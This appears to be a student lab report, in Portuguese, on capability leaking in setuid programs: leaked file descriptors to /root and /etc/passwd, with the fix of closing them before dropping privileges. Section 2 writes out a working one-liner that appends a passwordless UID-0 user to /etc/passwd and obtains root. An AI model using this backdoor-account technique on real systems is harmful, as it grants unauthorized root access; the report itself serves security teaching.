

Secção 1 — Capability Leaking

Exercício 1 — Execução do programa

Ao executar `./backupssi` como utilizador normal (ubuntu), o programa:

1. Abre o diretório `/root` com privilégios de root (`setuid`), obtendo o file descriptor `fd=3`
2. Cria a diretoria `/root/backupssi`
3. Larga os privilégios com `setuid(getuid())`
4. Lança uma shell `/bin/sh`

Output obtido:

```
Directory FD is 3
$
```

Exercício 2 — Vulnerabilidade identificada

O programa sofre de **capability leaking** (fuga de capacidades). O problema está na seguinte sequência de operações:

```
dfd = open("/root", O_RDONLY); // abre /root com privilégios root
mkdir("/root/backupssi", 0700); // operação privilegiada
setuid(getuid());              // larga privilégios
execve("/bin/sh", argv, NULL); // lança shell — fd 3 ainda aberto!
```

O programa abre `/root` com privilégios de root, mas **esquece-se de fechar o file descriptor `dfd` antes de largar os privilégios e lançar a shell**. O `execve()` herda todos os file descriptors abertos do processo pai, incluindo o `fd=3` que aponta para `/root`. Assim, a shell lançada — já sem privilégios de root — tem acesso a um recurso privilegiado através desse fd herdado.

Exercício 3 — Demonstração do exploit

Dentro da shell lançada pelo programa, verificámos os file descriptors disponíveis:

```
ls -la /proc/self/fd/
```

Output:

```
lr-x----- 1 ubuntu ubuntu 64 May 19 15:13 3 -> /root
```

O fd 3 aponta para `/root` e está acessível. Usando Python para explorar o fd herdado:

```
python3 -c "import os; print(os.listdir(3))"
```

Output:

```
['.bashrc', 'backupssi', '.profile', '.ssh']
```

Um utilizador normal, que normalmente obteria Permission denied ao tentar ls /root, conseguiu **listar o conteúdo de /root** através do fd herdado, contornando completamente as permissões do sistema de ficheiros.

Exercício 4 — Correção e explicação

A correção consiste em **fechar o fd imediatamente após as operações privilegiadas** e antes de largar os privilégios:

```
dfd = open("/root", O_RDONLY);  
// ... operações privilegiadas ...
```

```
close(dfd); // CORREÇÃO: fechar o fd antes de largar privilégios
```

```
setuid(getuid());  
execve("/bin/sh", argv, NULL);
```

Após a correção, ao tentar o mesmo exploit dentro da shell:

```
python3 -c "import os; print(os.listdir(3))"
```

Output:

```
OSError: [Errno 9] Bad file descriptor
```

O exploit deixa de funcionar porque o fd 3 foi destruído antes da shell ser lançada. A shell já não herda qualquer referência a /root, eliminando completamente a vulnerabilidade. A regra geral é: **fechar sempre todos os file descriptors privilegiados antes de largar privilégios ou lançar novos processos**.

Secção 2

Exercício 1 — Execução do programa

Ao executar ./passwdleak como utilizador normal, o programa abre /etc/passwd com permissões de escrita e privilégios de root (setuid), imprime o fd obtido e lança uma shell:

```
Passwd FD leaked: 3  
$
```

Exercício 2 — Vulnerabilidade identificada

O programa sofre de **capability leaking** sobre um recurso crítico do sistema. O problema está em:

```
c
int fd = open("/etc/passwd", O_WRONLY | O_APPEND); // abre com privilégios root
setuid(getuid()); // larga privilégios mas fd continua aberto!
execl("/bin/sh", "sh", NULL); // shell herda fd 3 com escrita em /etc/passwd
```

O fd com escrita em /etc/passwd é herdado pela shell, permitindo a um utilizador normal escrever num ficheiro crítico do sistema sem ter permissões para tal.

Exercício 3 — Exploit

Dentro da shell, usando o fd herdado:

```
bash
python3 -c "import os; os.write(3, b'ssihacker::0:0::/root:/bin/sh\n')"
```

Foi adicionada uma entrada ao /etc/passwd criando o utilizador ssihacker com UID=0 (root) e sem password.

Exercício 4 — Implicações práticas

Fazendo `su - ssihacker` obtivemos acesso root completo (`uid=0`). As implicações são:

- Acesso root total ao sistema sem conhecer qualquer password
 - Leitura de ficheiros protegidos (/etc/shadow, chaves SSH, etc.)
 - Modificação de qualquer ficheiro do sistema
 - Instalação de malware ou backdoors persistentes
 - Comprometimento total da confidencialidade, integridade e disponibilidade do sistema
-

Exercício 5 — Correção

Adicionar `close(fd)` antes de `setuid(getuid())`:

```
close(fd);          // CORREÇÃO: fechar fd antes de largar privilégios
setuid(getuid());
execl("/bin/sh", "sh", NULL);
```

Após a correção, a tentativa de escrever no fd 3 resulta em `OSError: Bad file descriptor`, confirmando que o exploit deixa de funcionar. A regra geral é a mesma da Secção 1 —

fechar sempre todos os file descriptors privilegiados antes de largar privilégios ou lançar novos processos.